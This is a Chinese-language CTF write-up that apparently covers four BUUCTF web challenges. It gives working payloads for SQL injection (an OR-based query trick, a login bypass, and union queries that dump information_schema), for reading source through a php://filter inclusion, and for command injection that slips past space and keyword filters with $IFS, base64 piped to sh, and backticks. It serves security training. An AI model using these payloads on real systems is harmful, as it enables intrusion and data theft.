# [SUCTF 2019]EasySQL

buu 上的,= 百度下有题解,这里说点有趣的

关于最后 payload 还有查询语句:

select $_GET['query'] || flag from flag

这里的 II 应该是逻辑或,当使用任意一个数字(常数列)与其或时,返回的只会是常数列。所以 payload 是 *,任意数字 ,因为 *||flag 是非法的,即使是开启了所谓的字符串拼接也是不对的。

但是似乎这道题其实没有开字符串拼接,输入 *,1 返回的是:

Array ( [0] => flag{c32cc085-3992-43d4-948a-8b72f8002d1e} [1] => 1 )

显然是没有拼接上 flag 的,而且只有那个任意数字是 0 的时候 [1] 是 0,否则都是 1,所以似乎这里还是 OR, 并非拼接,如果是拼接,那么似乎只输入数字也是可以的。至于为什么 0 时返回是 0,也许是因为 flag 的值也被当成是 0 了(?)

此外我还试了试只输入 0,没有返回值,似乎是有语法错误了,不过 *,0 有上述输出。

MySQL 默认 || 是 OR, 但是其他的有的会默认拼接。

# [ACTF2020 新生赛] Include1

倒是提供了一个用伪协议读源码的方法:

file=php://filter/read=convert.base64-encode/resource=flag.php

有的时候就是这么朴实的绕过,可以语法上编解码。像是上次 URL?

# [GXYCTF2019]Ping Ping Ping1

命令执行

你知道的,cat 也可以用来读源码。

感觉三种解法都很有趣:

变量拼接(因为源码中有个没啥用的变量 a):

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

编码:

又是 base64

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

这里 base64 加密了 cat flag.php,这样就不会被 flag 以及空格过滤掉,接下来的几个就是通过管道符传递给 base64 (-d 表示解码,$IFS 是绕过空格,$1 是占位符),再交给 sh 执行。虽然题目过滤了 bash,但是 sh 可以用。

最后一个 | sh 是必要的,否则你只会得到 cat flag 本身

?ipdddddfdsfa;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联:

内联,就是将反引号内命令的输出作为输入执行

也就是先执行 `` 之内的,然后将结果代替本身

构造

?ip=127.0.0.1;cat$IFS$9`ls`
其中cat$IFS$9`ls`
等同于cat $(ls),只是这题目把()过滤了
$IFS$9依旧是用来代替空格
$IFS是shell环境变量一般是空格/制表/换行
$数字是脚本的参数,没定义就会被当做空字符串,会强制参数扩展,使得$IFS的第一个字符无论是什么,也会被当做分隔符(其实只是扩展时会将第一个不论是哪一种分隔符都换成空格而已,所以要成功,$IFS不能为空)。(所以用9就是因为数字大,大概率没定义)

# [极客大挑战 2019] LoveSQL1

一个非常非常普通的 SQL 联合查询,但是我对这个过程一点也不熟悉,所以随便过一过。

首先是万能密码过个登录 1' or 1# ,得到真的账号密码(是真的,但是没用),显然注入点就是 username

用 order by 子句来判断有几个查询参数

1’ order by 1/2/3/4...

最大的不报错数字就是查询参数

联合查询判断回显点

1' union select 1,2,3

看一看返回的 1,2 在哪里 (这题是返回了 2,3 说明有俩可以用)

开爆!

1' union select 1,database(),3
//得到数据库名
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()
//得到表名,接下来一句类似
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=“表名”
//得到字段名
1' union select 1,database(),group_concat(id,username...) from 表名 
//爆数据!